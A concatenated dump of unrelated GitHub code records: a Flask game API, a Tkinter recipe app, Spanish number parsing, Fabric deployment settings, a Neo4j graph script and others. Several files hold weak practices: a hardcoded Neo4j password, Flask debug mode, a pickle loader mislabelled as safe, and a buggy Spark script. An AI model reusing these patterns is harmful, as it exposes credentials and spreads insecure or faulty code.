\n\n@app.route('/get_current_board', methods=['GET'])\ndef get_current_board():\n dot_list = []\n for elem in game.board.board_dic:\n if game.board.board_dic[elem] == None:\n dot_list.append(str(0))\n else:\n dot_list.append(str(game.board.board_dic[elem]))\n return jsonify(dot_list, CARD_MAP)\n\n\n@app.route('/reset_game', methods=['POST'])\ndef reset_game_route():\n try:\n game.reset_game()\n return jsonify({'success': True, 'message': 'Game reset successfully'})\n except Exception as e:\n return jsonify({'success': False, 'message': str(e)})\n\n\n# ... other routes or API endpoints ...\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"sivelud/sequenceHeavyGame","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14981620453","text":"from .configurations import *\nfrom .view import *\nfrom .model import *\n\n\nclass Controller:\n \"\"\"\n Kontrollern: Klassen kopplar samman Vyn med klassen Modellen.\n -- Kontrollern genomför åtgärd baserat på händelser i Vyn.\n -- Kontrollern skickar meddelanden till Modellen och \n till Vyn och erhåller respons.\n -- Kontrollern har delegater.\n \"\"\"\n def __init__(self, parent):\n self.parent = parent\n #self.parent.title(APP_NAME)\n #self.parent.geometry(WIN_GEOMETRY)\n self.model = Model(self)\n self.view = View(self, self.parent)\n self.update_data()\n\n def update_data(self):\n self.view.set_recipes_var(self.model.get_recipes_var())\n self.view.set_products_var(self.model.get_products_var())\n self.view.set_ingredients_var(self.model.get_ingredients_var())\n self.view.set_units_var(self.model.get_units_var())\n\n def data_changed_delegate(self):\n pass\n\n def btn_delete_product(self):\n list = self.view.products_form.get()\n if len(list) is not 0:\n self.model.del_products_var(self.view.products_form.get())\n self.update_data()\n else:\n self.view.showerror('Inget att ta bort', 'Det finns ingen produkt att ta bort.')\n\n def btn_delete_ingredient(self):\n list = self.view.ingredients_form.get()\n if len(list) is not 0:\n self.model.del_ingredients_var(self.view.ingredients_form.get())\n self.update_data()\n else:\n self.view.showerror('Inget att ta bort', 'Det finns ingen ingrediens att ta bort.')\n\n def btn_add_product(self):\n name = self.view.products_entry.get().strip()\n if len(name) is not 0:\n self.model.set_products_var(name)\n self.update_data()\n self.view.showerror('Produkten är skapad', 'Den önskade produkten «%s» har nu skapats' % (str(name)))\n else:\n self.view.showerror('Inget att lägga till', 'Det finns ingen produkt att lägga till.')\n\n def btn_add_ingredient(self):\n name = self.view.ingredients_entry.get().strip()\n if len(name) is not 0:\n self.model.set_ingredients_var(name)\n self.update_data()\n self.view.showerror('Ingrediensen är skapad', 'Den önskade ingrediensen «%s» har nu skapats' % (str(name)))\n else:\n self.view.showerror('Inget att lägga till', 'Det finns ingen ingrediens att lägga till.')\n\n def btn_add_recipe(self):\n product = self.view.recipes_products_value.get().strip()\n ingredient = self.view.recipes_ingredients_value.get().strip()\n amount = self.view.recipes_amount_entry.get()\n unit = self.view.recipes_units_value.get().strip()\n if (len(product) and len(ingredient) and len(unit)) > 0 and amount > 0:\n #self.model.set_recipes_var(product.split()[1][:-1], ingredient.split()[1][:-1], amount, unit.split()[0])\n self.model.set_recipes_var(product, ingredient, amount, unit.split()[0])\n self.update_data()\n self.view.showerror('Ingrediensen kopplades till produkten',\n 'Ingrediensen «%s» med mängden %s%s har nu ' \\\n 'kopplats till produkten %s' %\n (ingredient, amount, unit, product)\n )\n else:\n self.view.showerror('Mängden är noll', 'Mängden får inte vara 0 %s.' % (unit))","repo_name":"Poremski/EDAF20-KST","sub_path":"supply/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3579,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32639859138","text":"import os\nimport pickle\n\nfrom dreem_tools import util\n\ndef get_lib_path():\n file_path = os.path.realpath(__file__)\n spl = file_path.split(\"/\")\n base_dir = \"/\".join(spl[:-2])\n return base_dir\n\ndef load(pathname):\n \"\"\"Safe loader for binary pickle files\"\"\"\n fh = open(pathname, \"rb\")\n data = pickle.load(fh)\n fh.close()\n return data\n\nLIB_PATH = get_lib_path()\nTEST_RESOURCES = get_lib_path() + \"/test/resources/\"\n\n\ndef test_mutation_histos_to_dataframe():\n mhs = load(TEST_RESOURCES + \"mutation_histos.p\")\n df = util.mutation_histos_to_dataframe(mhs)\n","repo_name":"jyesselm/dreem-tools","sub_path":"test/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14381857885","text":"from replit import clear\nfrom art import logo\nfrom winner import decide_winner\n\nbidders = []\nnext_round = True\nwhile next_round:\n clear()\n print(logo)\n print(\"Hello Vendor. Welcome to the RFP program\\n\")\n\n name = input(\"What is your legal entity name? \")\n bid = int(input(\"What is your bid? $\"))\n other_bidders = input(\"\\nAdministrator, are there any other bidders(y or n)? \")\n\n bidders.append({\n \"name\": name,\n \"bid\": bid,\n })\n\n if other_bidders.lower() != \"y\":\n next_round = False\n print(bidders)\n winner, bid = decide_winner(bidders)\n\n clear()\n print(logo)\n\n print(f\"The winner is {winner} with a bid of ${bid}\")\n","repo_name":"krzysztof-kozak/python-request-for-proposal","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70824339079","text":"# -*- coding: utf-8 -*-\n# * Authors:\n# * TJEBBES Gaston \n# * Arezki Feth ;\n# * Miotte Julien ;\n\nfrom sqlalchemy import (\n desc,\n func,\n)\n\nfrom autonomie_base.utils.renderers import configure_export\nfrom autonomie.compute.math_utils import integer_to_amount\nfrom autonomie.models.user.userdatas import UserDatas\nfrom autonomie.models.customer import Customer\nfrom autonomie.models.tva import Tva\nfrom autonomie.models.task import Task\n\n\ndef _add_userdatas_custom_headers(writer, query):\n \"\"\"\n Specific to userdatas exports\n\n Add custom headers that are not added through automation\n\n Add headers for code_compta\n \"\"\"\n from autonomie_base.models.base import DBSESSION\n from autonomie.models.user.user import COMPANY_EMPLOYEE\n # Compte analytique\n query = DBSESSION().query(\n func.count(COMPANY_EMPLOYEE.c.company_id).label('nb')\n )\n query = query.group_by(COMPANY_EMPLOYEE.c.account_id)\n code_compta_count = query.order_by(desc(\"nb\")).first()\n if code_compta_count:\n code_compta_count = code_compta_count[0]\n for index in range(0, code_compta_count):\n new_header = {\n 'label': \"Compte_analytique {0}\".format(index + 1),\n 'name': \"code_compta_{0}\".format(index + 1),\n }\n writer.add_extra_header(new_header)\n\n return writer\n\n\ndef _add_userdatas_code_compta(writer, userdatas):\n \"\"\"\n Add code compta to exports (specific for userdatas exports)\n\n :param obj writer: The tabbed file writer\n :param obj userdatas: The UserDatas instance we manage\n \"\"\"\n user_account = userdatas.user\n if user_account:\n datas = []\n for company in user_account.companies:\n datas.append(company.code_compta)\n writer.add_extra_datas(datas)\n return writer\n\n\ndef _add_invoice_custom_headers(writer, invoices):\n \"\"\"\n Invoice export headers\n\n * Entreprise ;\n • Client ;\n • Date ;\n • Numéro de factures ;\n • Objet ;\n • Lieu des travaux ;\n • HT (par taux de tva) ;\n • TVA (par taux de tva) ;\n • TTC.\n \"\"\"\n for tva in Tva.query():\n writer.add_extra_header({\n 'label': u\"HT {tva.name}\".format(tva=tva),\n \"name\": u\"HT {tva.value}\".format(tva=tva),\n })\n writer.add_extra_header({'label': tva.name, \"name\": tva.value})\n\n writer.add_extra_header({'label': u\"Montat TTC\", \"name\": \"ttc\"})\n return writer\n\n\ndef _add_invoice_datas(writer, invoice):\n ht_values = invoice.tva_ht_parts()\n tva_values = invoice.get_tvas()\n datas = []\n for tva in Tva.query():\n datas.append(\n integer_to_amount(ht_values.get(tva.value, 0), precision=5)\n )\n datas.append(\n integer_to_amount(tva_values.get(tva.value, 0), precision=5)\n )\n datas.append(integer_to_amount(invoice.ttc, precision=5))\n writer.add_extra_datas(datas)\n return writer\n\n\ndef includeme(config):\n configure_export()\n config.register_import_model(\n key='userdatas',\n model=UserDatas,\n label=u\"Données de gestion sociale\",\n permission='admin_userdatas',\n excludes=(\n 'name',\n 'created_at',\n 'updated_at',\n 'type_',\n '_acl',\n 'parent_id',\n 'parent',\n )\n )\n config.register_import_model(\n key='customers',\n model=Customer,\n label=u\"Clients\",\n permission='add_customer',\n excludes=(\n 'created_at',\n 'updated_at',\n 'company_id',\n 'company',\n ),\n )\n\n config.register_export_model(\n key='userdatas',\n model=UserDatas,\n options={\n 'hook_init': _add_userdatas_custom_headers,\n 'hook_add_row': _add_userdatas_code_compta,\n 'foreign_key_name': 'userdatas_id',\n }\n )\n\n config.register_export_model(\n key='invoices',\n model=Task,\n options={\n 'hook_init': _add_invoice_custom_headers,\n 'hook_add_row': _add_invoice_datas,\n 'foreign_key_name': 'task_id',\n 'excludes': ('name', 'created_at', 'updated_at', 'type_'),\n 'order': (\n 'company',\n 'customer',\n 'date',\n 'official_number',\n 'description',\n 'workplace',\n )\n }\n )\n","repo_name":"CroissanceCommune/autonomie_celery","sub_path":"autonomie_celery/tasks/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69964466757","text":"import time\nfrom threading import Thread\nimport json\nfrom uuid import uuid1\nfrom threading import Thread\n\n\nclass BaseUrlTask(Thread):\n\n def __init__(self):\n Thread.__init__(self)\n self.running = False\n self.progress = ProgressObject()\n self.time_started = time.time()\n self.id = str(uuid1())\n self.type = \"base\"\n self.failed = False\n self.todo_urls = []\n self.done_urls = []\n self.results = {}\n self.other_notes = {}\n\n def serialize(self):\n return {\n \"time_started\": self.time_started,\n \"id\": self.id,\n \"type\": self.type,\n \"failed\": self.failed,\n \"todo_urls\": self.todo_urls,\n \"done_urls\": self.done_urls,\n \"results\": self.results,\n \"other\": self.other_notes\n }\n\n def run(self):\n pass\n\n\nclass ProgressObject(object):\n\n def __init__(self):\n self.todo_total = 0\n self.start_time = time.time()\n self.todo_done = 0\n self.avg_timedone = 0\n self.timeleft = 0\n\n def add_total(self, total_req):\n self.todo_total = total_req\n\n def increment(self):\n if self.todo_done != 0:\n self.avg_timedone = (time.time()-self.start_time)/self.todo_done\n self.timeleft = self.avg_timedone * (self.todo_total-self.todo_done)\n self.todo_done += 1\n","repo_name":"gfvandehei/Nasa-Collage","sub_path":"NasaCollageGUI/network/urltask.py","file_name":"urltask.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34888502695","text":"import re\nfrom typing import Dict, Optional, Set, Tuple, List\n\nfrom .base import Language\n\n#\n# CONSTANTS\n# Built once on import.\n#\n\n# Those words multiplies lesser numbers (see Rules)\n# Exception: \"(de) milliards\" that can multiply bigger numbers (\"milliards de milliards\")\nMULTIPLIERS = {\n \"mil\": 1000,\n \"miles\": 1000,\n \"millon\": 1000000,\n \"millón\": 1000000,\n \"millones\": 1000000,\n \"millardo\": 10**9, # not common, but no harm having it\n \"billón\": 10**12,\n \"billon\": 10**12,\n \"billones\": 10**12,\n}\n\n\n# Units are terminals (see Rules)\nUNITS: Dict[str, int] = {\n word: value\n for value, word in enumerate(\n \"uno dos tres cuatro cinco seis siete ocho nueve\".split(), 1\n )\n}\nUNITS_std = UNITS.copy()\n\n# Unit variants\nUNITS[\"un\"] = 1\nUNITS[\"una\"] = 1\n\n# Single tens are terminals (see Rules)\nSTENS: Dict[str, int] = {\n word: value\n for value, word in enumerate(\n \"diez once doce trece catorce quince dieciseis diecisiete dieciocho diecinueve\"\n \" veinte veintiuno veintidos veintitres veinticuatro veinticinco veintiseis\"\n \" veintisiete veintiocho veintinueve\".split(),\n 10,\n )\n}\n\nSTENS[\"dieciséis\"] = 16\nSTENS[\"veintiuna\"] = 21 # feminine\nSTENS[\"veintiún\"] = 21 # masculine\nSTENS[\"veintiun\"] = 21 # masculine\nSTENS[\"veintidós\"] = 22\nSTENS[\"veintitrés\"] = 23\nSTENS[\"veintiséis\"] = 26\n\n\n# Ten multiples\n# Ten multiples may be followed by a unit only;\nMTENS: Dict[str, int] = {\n word: value * 10\n for value, word in enumerate(\n \"treinta cuarenta cincuenta sesenta setenta ochenta noventa\".split(), 3\n )\n}\n\n# Ten multiples that can be combined with STENS\nMTENS_WSTENS: Set[str] = set()\n\n# \"cent\" has a special status (see Rules)\nHUNDRED = {\n \"cien\": 100,\n \"ciento\": 100,\n \"cienta\": 100,\n \"doscientos\": 200,\n \"trescientos\": 300,\n \"cuatrocientos\": 400,\n \"quinientos\": 500,\n \"seiscientos\": 600,\n \"setecientos\": 700,\n \"ochocientos\": 800,\n \"novecientos\": 900,\n #\n \"doscientas\": 200,\n \"trescientas\": 300,\n \"cuatrocientas\": 400,\n \"quinientas\": 500,\n \"seiscientas\": 600,\n \"setecientas\": 700,\n \"ochocientas\": 800,\n \"novecientas\": 900,\n}\n\nCOMPOSITES: Dict[str, int] = {}\n\n# All number words\n\nNUMBERS = MULTIPLIERS.copy()\nNUMBERS.update(UNITS)\nNUMBERS.update(STENS)\nNUMBERS.update(MTENS)\nNUMBERS.update(HUNDRED)\nNUMBERS.update(COMPOSITES)\n\n\nclass Spanish(Language):\n MULTIPLIERS = MULTIPLIERS\n UNITS = UNITS\n STENS = STENS\n MTENS = MTENS\n MTENS_WSTENS = MTENS_WSTENS\n HUNDRED = HUNDRED\n NUMBERS = NUMBERS\n\n SIGN = {\"mas\": \"+\", \"menos\": \"-\"}\n ZERO = {\"cero\"}\n DECIMAL_SEP = \"coma,punto\"\n DECIMAL_SYM = \".\"\n\n AND_NUMS = {\n \"un\",\n \"uno\",\n \"una\",\n \"dos\",\n \"tres\",\n \"cuatro\",\n \"cinco\",\n \"seis\",\n \"siete\",\n \"ocho\",\n \"nueve\",\n }\n AND = \"y\"\n NEVER_IF_ALONE = {\"un\", \"uno\", \"una\"}\n\n # Relaxed composed numbers (two-words only)\n # start => (next, target)\n RELAXED: Dict[str, Tuple[str, str]] = {}\n\n ES_ORDINALS = {\n # 1 - 9\n \"primero\": \"uno\",\n \"segundo\": \"dos\",\n \"tercero\": \"tres\",\n \"cuarto\": \"cuatro\",\n \"quinto\": \"cinco\",\n \"sexto\": \"seis\",\n \"séptimo\": \"siete\",\n \"octavo\": \"ocho\",\n \"noveno\": \"nueve\",\n # 10 - 19\n \"décimo\": \"diez\",\n \"undécimo\": \"once\",\n \"decimoprimero\": \"once\",\n \"duodécimo\": \"doce\",\n \"decimosegundo\": \"doce\",\n \"décimoprimero\": \"once\", # tmp fix to handle num2words bug\n \"décimosegundo\": \"doce\", # tmp fix to handle num2words bug\n \"decimotercero\": \"trece\",\n \"decimocuarto\": \"catorce\",\n \"decimoquinto\": \"quince\",\n \"decimosexto\": \"dieciseis\",\n \"decimoséptimo\": \"diecisiete\",\n \"decimooctavo\": \"dieciocho\",\n \"decimonoveno\": \"diecinueve\",\n # 20 - 90\n \"vigésimo\": \"veinte\",\n \"trigésimo\": \"treinta\",\n \"cuadragésimo\": \"cuarenta\",\n \"quadragésimo\": \"cuarenta\", # tmp fix to handle num2words bug\n \"quincuagésimo\": \"cincuenta\",\n \"sexagésimo\": \"sesenta\",\n \"septuagésimo\": \"setenta\",\n \"octogésimo\": \"ochenta\",\n \"nonagésimo\": \"noventa\",\n # 100 - 900\n \"centésimo\": \"ciento\",\n \"ducentésimo\": \"doscientos\",\n \"tricentésimo\": \"trescientos\",\n \"cuadringentésimo\": \"cuatrocientos\",\n \"quingentésimo\": \"quinientos\",\n \"sexcentésimo\": \"seiscientos\",\n \"septingentésimo\": \"setecientos\",\n \"octingentésimo\": \"ochocientos\",\n \"noningentésimo\": \"novecientos\",\n # 1000, 10**6, 10**12\n \"milésimo\": \"mil\",\n \"millonésimo\": \"millones\",\n \"billonésimo\": \"billones\",\n }\n # for u,v in UNITS_std.items():\n\n ES_ORD_FEMININE = {o[:-1]+\"a\":c for o, c in ES_ORDINALS.items()}\n ES_ORDINALS.update(ES_ORD_FEMININE)\n ES_ORD_PLURAL = {o+\"s\":c for o, c in ES_ORDINALS.items()}\n ES_ORDINALS.update(ES_ORD_PLURAL)\n ES_ORD_NOACCENT = {o.replace(\"é\", \"e\").replace(\"ó\", \"o\"):c for o, c in ES_ORDINALS.items()}\n ES_ORDINALS.update(ES_ORD_NOACCENT)\n\n ES_ORDINALS[\"primer\"] = \"un\"\n ES_ORDINALS[\"tercer\"] = \"tres\"\n ES_ORDINALS[\"decimoprimer\"] = \"once\"\n ES_ORDINALS[\"decimotercer\"] = \"trece\"\n\n # TODO\n def ord2card(self, word: str) -> Optional[str]:\n \"\"\"Convert ordinal number to cardinal.\n\n Return None if word is not an ordinal or is better left in letters\n as is the case for fist and second.\n \"\"\"\n ord_ = self.ES_ORDINALS.get(word, None)\n return ord_\n\n def num_ord(self, digits: str, original_word: str) -> str:\n \"\"\"Add suffix to number in digits to make an ordinal. Currently dropping plural `s`, OrdinalsMerger also not expects plurals.\"\"\"\n masculine = original_word.endswith(\"o\") or original_word.endswith(\"os\") or original_word.endswith(\"primer\") or original_word.endswith(\"tercer\")\n return f\"{digits}º\" if masculine else f\"{digits}ª\"\n\n def normalize(self, word: str) -> str:\n return word\n\nSEGMENT_BREAK = re.compile(r\"\\s*[\\.,;\\(\\)…\\[\\]:!\\?]+\\s*\")\n\nSUB_REGEXES = [\n (re.compile(r\"1\\s\"), \"uno \"),\n (re.compile(r\"2\\s\"), \"dos\"),\n (re.compile(r\"\\b1[\\º\\°]\\b\"), \"primero\"),\n (re.compile(r\"\\b2[\\º\\°]\\b\"), \"segundo\"),\n (re.compile(r\"\\b3[\\º\\°]\\b\"), \"tercero\"),\n (re.compile(r\"\\b1\\ª\\b\"), \"primera\"),\n (re.compile(r\"\\b2\\ª\\b\"), \"segunda\"),\n (re.compile(r\"\\b3\\ª\\b\"), \"tercera\"),\n]\n\nclass OrdinalsMergerES:\n def merge_compound_ordinals(self, text: str) -> str:\n \"\"\"join compound ordinal cases created by a text2num 1st pass\n\n Example:\n 20° 7° -> 27°\n\n Greedy pusher: push along the token stream,\n create a new ordinal sequence if an ordinal is found\n stop sequence when no more ordinals are found\n sum ordinal sequence\n\n \"\"\"\n\n segments = re.split(SEGMENT_BREAK, text)\n punct = re.findall(SEGMENT_BREAK, text)\n if len(punct) < len(segments):\n punct.append(\"\")\n out_segments = []\n for segment, sep in zip(segments, punct): # loop over segments\n tokens = [t for t in segment.split(\" \") if len(t) > 0]\n\n pointer = 0\n tokens_ = []\n current_is_ordinal = False\n seq = []\n\n while pointer < len(tokens):\n token = tokens[pointer]\n if self.is_ordinal(token): # found an ordinal, push into new seq\n current_is_ordinal = True\n seq.append(self.get_cardinal(token))\n gender = self.get_gender(token)\n else:\n if current_is_ordinal is False: # add standard token\n tokens_.append(token)\n else: # close seq\n ordinal = sum(seq)\n tokens_.append(str(ordinal) + gender)\n tokens_.append(token)\n seq = []\n current_is_ordinal = False\n pointer += 1\n\n if current_is_ordinal is True: # close seq for single token expressions\n ordinal = sum(seq)\n tokens_.append(str(ordinal) + gender)\n\n tokens_ = self.text2num_style(tokens_)\n segment = \" \".join(tokens_) + sep\n out_segments.append(segment)\n\n text = \"\".join(out_segments)\n\n return text\n\n @staticmethod\n def is_ordinal(token: str) -> bool:\n out = False\n if len(token) > 1 and (\"º\" in token or \"°\" in token or \"ª\" in token):\n out = True\n # in case the ordinal is left as a word since it's smaller than the threshold:\n if token in [\n \"primero\", \"primera\", \"primer\", \"primeros\", \"primeras\", \n \"segundo\", \"segunda\", \"segundos\", \"segundas\",\n \"tercero\", \"tercera\", \"tercer\", \"terceros\", \"terceras\",\n ]:\n out = True\n return out\n\n @staticmethod\n def get_cardinal(token: str) -> int:\n out = 0\n try:\n out = int(token[:-1])\n except ValueError:\n if token in [\"primero\", \"primera\", \"primer\", \"primeros\", \"primeras\"]:\n out = 1\n elif token in [\"segundo\", \"segunda\", \"segundos\", \"segundas\"]:\n out = 2\n elif token in [\"tercero\", \"tercera\", \"tercer\", \"terceros\", \"terceras\"]:\n out = 3\n return out\n\n @staticmethod\n def get_gender(token: str) -> str:\n gender = token[-1]\n if gender == \"a\":\n gender = \"ª\"\n if gender == \"o\":\n gender = \"º\"\n return gender\n\n @staticmethod\n def text2num_style(tokens: List[str]) -> List[str]:\n \"\"\"convert a list of tokens to text2num_style, i.e. : 1 -> un/one/uno/um\"\"\"\n\n for regex in SUB_REGEXES:\n tokens = [re.sub(regex[0], regex[1], token) for token in tokens]\n\n return tokens\n","repo_name":"akpeker/text2num","sub_path":"text_to_num/lang/spanish.py","file_name":"spanish.py","file_ext":"py","file_size_in_byte":10096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"814027983","text":"# -*- coding: utf-8 -*-\n\n\nfrom __future__ import unicode_literals, absolute_import\n\n\nfrom path import path\n\nimport getpass\nimport re\nimport os\nimport sys\n\nfrom fabric.api import task, env\n\n\nPROJECT_NAME = \"videothumbs\"\nCUR_DIR = path(__file__).realpath().parent\n\nsys.path.append(CUR_DIR)\n\n\n@task\ndef conf(repo_dir, user=None, hosts=None, project_name=PROJECT_NAME, stage='prod',\n port=22, django_settings_module=PROJECT_NAME + '_project.settings.local_settings',\n **kwargs):\n \"\"\"\n Configure shared variables for all tasks. Call it before anything\n \"\"\"\n\n env.hosts = hosts\n env.port = port\n env.stage = stage\n env.project_name = project_name\n env.user = user or project_name\n env.user_dir = path('/home') / env.user\n\n env.local_repo_dir = CUR_DIR.parent.parent.parent.parent\n env.local_deploy_dir = env.local_repo_dir / 'src' / (PROJECT_NAME + '_project') / 'deploy'\n\n env.venv_dir = env.user_dir / '.virtualenvs' / project_name\n env.python_bin = env.venv_dir / 'bin' / 'python'\n\n env.repo_dir = path(repo_dir)\n env.src_dir = env.repo_dir / 'src'\n\n env.project_dir = env.src_dir / (project_name + '_project')\n env.settings_dir = env.project_dir / 'settings'\n env.deploy_dir = env.project_dir / 'deploy'\n env.local_settings = env.settings_dir / 'local_settings.py'\n\n env.etc_dir = env.src_dir.parent / 'etc'\n env.var_dir = env.src_dir.parent / 'var'\n\n env.log_dir = env.var_dir / 'log'\n env.upload_dir = env.var_dir / 'upload'\n env.pics_dir = env.var_dir / 'pictures'\n env.static_dir = env.var_dir / 'static'\n env.img_dir = env.var_dir / 'static' / 'img'\n\n env.deploy_dir = env.project_dir / 'deploy'\n\n env.wsgi_server_socket = '127.0.0.1:7777'\n\n env.django_settings_module = django_settings_module\n\n os.environ['DJANGO_SETTINGS_MODULE'] = django_settings_module\n\n for name, value in kwargs.items():\n setattr(env, name, value)\n\n\n@task\ndef dev(user=getpass.getuser(), hosts=None, port=22, *args, **kwargs):\n \"\"\"\n Shortcut to configure most options for dev.\n \"\"\"\n hosts = hosts or ['127.0.0.1']\n\n # try to switch the port to the proper one automatically when on localhost\n if hosts == ['127.0.0.1'] or hosts == ['localhost']:\n try:\n m = re.search('Port\\s+(\\d+)\\s*', open('/etc/ssh/sshd_config').read())\n port = int(m.groups()[0])\n except (IOError, OSError, AttributeError, ValueError):\n pass\n\n conf(user=user, hosts=hosts or ['127.0.0.1'], port=port,\n repo_dir=CUR_DIR.parent.parent.parent.parent, site_port=6666,\n domain_name='localhost', stage='dev')\n\n\n@task\ndef prod(user=PROJECT_NAME, hosts=['62.210.132.15'], port=22, *args, **kwargs):\n \"\"\"\n Shortcut to configure most options for prod.\n \"\"\"\n repo_dir = path('/home') / PROJECT_NAME / 'repo'\n conf(user=user, hosts=hosts, port=port, repo_dir=repo_dir,\n site_port=80, domain_name=hosts[0])\n","repo_name":"ksamuel/videothumbs","sub_path":"videothumbs_project/deploy/fabric/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19799439964","text":"def top_10_hashtags(dataset):\n hashtags = {}\n for tweet in dataset:\n content = tweet['content'].split(' ')\n for word in content:\n word = word.replace('\\n',\"\")\n if \"#\" in word:\n if word in hashtags:\n hashtags[word] += 1\n else:\n hashtags[word] = 0\n sorted_hashtags =sorted(hashtags.items(), key=lambda x: x[1], reverse=True)\n top_10_hashtags = sorted_hashtags[:10]\n return top_10_hashtags","repo_name":"lewebe/Top-Twitter-Statistics","sub_path":"top_hashtags.py","file_name":"top_hashtags.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14844473416","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport json\nimport logging\n\nimport pandas as pd\n\nfrom toolbox.neo4j.neo4j_restful import Neo4jRestful\nfrom toolbox.neo4j.converters import escape_string\n\n\n# logging.basicConfig(\n# level=logging.DEBUG,\n# format='%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s %(message)s',\n# datefmt='%Y-%m-%d %H:%M:%S'\n# )\n\nneo4j_restful = Neo4jRestful(\n database='neo4j',\n username='neo4j',\n password='Glory@2021!'\n)\n\n\ndef demo1():\n \"\"\"科室总结\"\"\"\n # mention = 'Check'\n # mention = 'Department'\n # mention = 'Disease'\n # mention = 'Drug'\n # mention = 'Food'\n # mention = 'Producer'\n mention = 'Symptom'\n\n statement = \"\"\"\n MATCH (x:{mention}) RETURN x\n \"\"\".format(mention=mention)\n js = neo4j_restful.cmd(statements=statement, do_commit=True, retry_to_ensure_success=True)\n\n results = js['results']\n\n synonyms_list = list()\n for result in results:\n data = result['data']\n\n for row in data:\n departments = row['row']\n for department in departments:\n department = department['name']\n\n synonyms_list.append({\n 'standard': department,\n 'synonyms': department\n })\n\n synonyms_list = pd.DataFrame(synonyms_list)\n synonyms_list = synonyms_list.sort_values(by=['standard', 'synonyms'])\n synonyms_list.to_excel('{}.xlsx'.format(mention.lower()), index=False, encoding='utf_8_sig')\n return\n\n\ndef demo2():\n \"\"\"科室层级关系\"\"\"\n # 查找所有的一级科室\n statement = \"\"\"\n MATCH (x:Department)-[r:belongs_to]->(y:Department) RETURN y\n \"\"\"\n print(statement)\n js1 = neo4j_restful.cmd(statements=statement, do_commit=True, retry_to_ensure_success=True)\n\n results1 = js1['results']\n\n hierarchical_departments_list = list()\n\n unique_department1 = set()\n for result1 in results1:\n data1 = result1['data']\n for row1 in data1:\n departments1 = row1['row']\n for department1 in departments1:\n department1 = department1['name']\n if department1 in unique_department1:\n continue\n unique_department1.add(department1)\n\n statement = \"\"\"\n MATCH (x:Department)-[r:belongs_to]->(y:Department {{ name: \"{department1}\" }}) RETURN x\n \"\"\".format(department1=department1)\n js2 = neo4j_restful.cmd(statements=statement, do_commit=True, retry_to_ensure_success=True)\n results2 = js2['results']\n\n for result2 in results2:\n data2 = result2['data']\n for row2 in data2:\n departments2 = row2['row']\n for department2 in departments2:\n department2 = department2['name']\n\n hierarchical_departments_list.append({\n 'department1': department1,\n 'department2': department2\n })\n\n hierarchical_departments_list = pd.DataFrame(hierarchical_departments_list)\n hierarchical_departments_list = hierarchical_departments_list.sort_values(by=['department1', 'department2'])\n hierarchical_departments_list.to_excel('hierarchical_departments_list.xlsx', index=False, encoding='utf_8_sig')\n return\n\n\nif __name__ == '__main__':\n demo1()\n # demo2()\n","repo_name":"qgyd2021/OpenLangChain","sub_path":"examples/build_kg/medical_kg/demo_search_relations.py","file_name":"demo_search_relations.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6620696955","text":"#Author: Imran\n#Descri: Creating tuple by using spark.read.json(jsonString)\n\n\n\n\nimport sys;\nfrom pyspark.sql import SparkSession;\nfrom collections import namedtuple;\n#from pyspark.mllib.fpm import namedtuple\n\nif __name__ == \"__main__\":\n\t\n\tif len(sys.argv) != 2:\n\t\tprint(\"Usage: NamedTuple.py data_filepath\");\n\t\texit(-1);\n\n\tfilepath = sys.argv[1];\n\n\tspark = SparkSession.builder.appName(\"CreateNamedTupleFromJsonString\").getOrCreate();\n\n\tjstr = {\"age\", \"workclass\", \"finalweight\", \"education\", \"educationnum\", \"maritalstatus\", \"occupation\", \"relationship\", \"race\", \"gender\", \"capitalgain\", \"capitalloss\", \"hoursperweek\", \"country\", \"salary\"};\n\n\tEmployee = namedtuple('Employee', sc.parallelize(jstr).collect()); #collect returns list \n\n\tdef eachline_to_employee(line):\n\t\tcell = line.split(\", \");\n\t\treturn Employee(int(cell[0]), cell[1], cell[2], cell[3], cell[4], cell[5], cell[6], cell[7], cell[8], cell[9], cell[10], cell[11], cell[12], cell[13], cell[14]);\n\n\trdd = sc.textFile(filepath);\n\temp_rdd = rdd.map(eachline_to_employee);\n\tempdf = emp_rdd.toDF();\n\n\tempdf.schema;\n\tempdf.describe;\n\n\tempdf.show(1);\n\n\tspark.stop();","repo_name":"mateensa/PepoleEDA","sub_path":"peopleeda/JsonNamedTuple.py","file_name":"JsonNamedTuple.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15517481827","text":"import random\nimport numpy as np\n\nfrom pybullet_planning import Pose, Point, Euler, unit_pose, invert, multiply, interpolate_poses_by_num_steps\nfrom pybullet_planning import sample_tool_ik\nfrom pybullet_planning import Attachment\nfrom pybullet_planning import joints_from_names, link_from_name, has_link, get_collision_fn, get_disabled_collisions, \\\n draw_pose, set_pose, set_joint_positions, dump_world, create_obj, get_body_body_disabled_collisions, get_link_pose, \\\n create_attachment, set_pose, clone_body, has_gui, 